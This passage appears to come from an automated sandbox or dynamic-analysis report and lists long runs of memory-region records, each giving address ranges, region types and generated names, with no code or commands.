0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7319 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7320 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7322 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7323 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7324 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7325 start_va = 0x1baa0000 end_va = 0x1baaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001baa0000" filename = "" Region: id = 7326 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7327 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7328 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7329 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7330 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b110000" filename = "" Region: id = 7331 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7332 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b120000" filename = "" Region: id = 7333 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7334 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b1a0000" filename = "" Region: id = 7335 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7336 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7337 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7338 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7339 start_va = 0x1b110000 end_va = 0x1b12dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7341 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7342 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7343 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7344 start_va = 0x1ba70000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ba70000" filename = "" Region: id = 7345 start_va = 0x1e400000 end_va = 0x1ebfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e400000" filename = "" Region: id = 7346 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7347 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7348 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7349 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7350 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7351 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7352 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7353 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7354 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7356 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7357 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7358 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7359 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7360 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7361 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7362 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7363 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7364 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7365 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7366 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7367 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7368 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7370 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7371 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7372 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7373 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7374 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7375 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7376 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7377 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7378 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7379 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7380 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7381 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7382 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7383 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7384 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7385 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7386 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7387 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7388 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7389 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7390 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7391 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7392 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7393 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7394 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7395 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7396 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7397 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7398 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7400 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7401 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7402 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7403 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7404 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7405 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7406 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7407 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7408 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7409 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7410 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7411 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7412 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7414 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7415 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7416 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7417 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7418 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7419 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7420 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7421 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7422 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7423 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7424 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7425 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7426 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7427 start_va = 0x1b1b0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1b0000" filename = "" Region: id = 7428 start_va = 0x1b850000 end_va = 0x1b85ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b850000" filename = "" Region: id = 7429 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7430 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7431 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7432 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7433 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7434 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7435 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7436 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7437 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7438 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7439 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7440 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7441 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7442 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7444 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7445 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7446 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7447 start_va = 0x1b1a0000 end_va = 0x1b1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b1a0000" filename = "" Region: id = 7448 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7449 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7450 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7451 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7452 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7453 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7454 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7455 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7456 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7457 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7458 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7459 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7460 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7461 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7462 start_va = 0x1ba70000 end_va = 0x1ba95fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001ba70000" filename = "" Region: id = 7464 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7465 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7466 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7467 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7468 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7469 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7470 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7471 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7472 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7473 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7474 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7475 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7476 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7477 start_va = 0x1b170000 end_va = 0x1b195fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7478 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b170000" filename = "" Region: id = 7479 start_va = 0x1b180000 end_va = 0x1b1a5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b180000" filename = "" Region: id = 7480 start_va = 0x1b180000 end_va = 0x1b18ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b180000" filename = "" Region: id = 7481 start_va = 0x1b190000 end_va = 0x1b1b5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b190000" filename = "" Region: id = 7482 start_va = 0x1b190000 end_va = 0x1b1b5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b190000" filename = "" Region: id = 7483 start_va = 0x1b110000 end_va = 0x1b11ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b110000" filename = "" Region: id = 7484 start_va = 0x1b190000 end_va = 0x1b1b5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b190000" filename = "" Region: id = 7485 start_va = 0x1b190000 end_va = 0x1b1b5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b190000" filename = "" Region: id = 7486 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7487 start_va = 0x1b160000 end_va = 0x1b17dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7488 start_va = 0x1e400000 end_va = 0x1ebfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001e400000" filename = "" Region: id = 7489 start_va = 0x1b180000 end_va = 0x1b1a5fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b180000" filename = "" Region: id = 7490 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7491 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7492 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7493 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7494 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7495 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7496 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7497 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7498 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7499 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7501 start_va = 0x1b120000 end_va = 0x1b12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b120000" filename = "" Region: id = 7502 start_va = 0x1b160000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b160000" filename = "" Region: id = 7503 start_va = 0x1b170000 end_va = 0x1b17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b170000" filename = "" Region: id = 7504 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7505 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7506 start_va = 0x1b160000 end_va = 0x1b185fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001b160000" filename = "" Region: id = 7507 start_va = 